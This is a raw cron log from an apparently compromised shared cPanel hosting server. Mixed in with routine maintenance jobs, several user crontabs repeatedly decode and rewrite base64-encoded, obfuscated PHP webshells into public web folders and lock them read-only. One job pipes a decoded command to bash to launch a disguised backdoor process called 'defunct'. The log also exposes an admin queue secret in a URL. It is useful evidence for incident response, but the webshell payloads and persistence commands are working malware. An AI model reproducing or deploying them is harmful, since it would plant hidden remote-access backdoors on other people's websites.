Jun  7 15:00:01 medusa CROND[9284]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 15:00:01 medusa CROND[9283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:00:01 medusa CROND[9280]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:00:01 medusa CROND[9272]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 15:00:01 medusa CROND[9275]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:00:01 medusa CROND[9295]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:00:01 medusa CROND[9276]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9285]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:00:01 medusa CROND[9301]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:00:01 medusa CROND[9302]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9367]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9369]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Jun  7 15:00:01 medusa CROND[9365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 15:00:01 medusa CROND[9368]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9376]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:00:01 medusa CROND[9378]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:00:01 medusa CROND[9371]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:00:01 medusa CROND[9381]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:00:01 medusa CROND[9383]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 15:00:01 medusa CROND[9300]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 15:01:02 medusa CROND[11258]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:01:02 medusa CROND[11259]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:01:02 medusa CROND[11260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:01:02 medusa CROND[11262]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:01:02 medusa CROND[11263]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:01:02 medusa CROND[11264]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:01:02 medusa CROND[11265]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:01:02 medusa CROND[11266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:01:02 medusa CROND[11269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:01:02 medusa CROND[11272]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:01:02 medusa CROND[11271]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:01:02 medusa CROND[11277]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:01:02 medusa CROND[11275]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 15:01:02 medusa CROND[11274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:01:02 medusa run-parts(/etc/cron.hourly)[11275]: starting 0anacron
Jun  7 15:01:02 medusa run-parts(/etc/cron.hourly)[11362]: finished 0anacron
Jun  7 15:02:02 medusa CROND[13213]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:02:02 medusa CROND[13229]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:02:02 medusa CROND[13261]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:02:02 medusa CROND[13262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:02:02 medusa CROND[13263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:02:02 medusa CROND[13264]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:02:02 medusa CROND[13268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:02:02 medusa CROND[13270]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
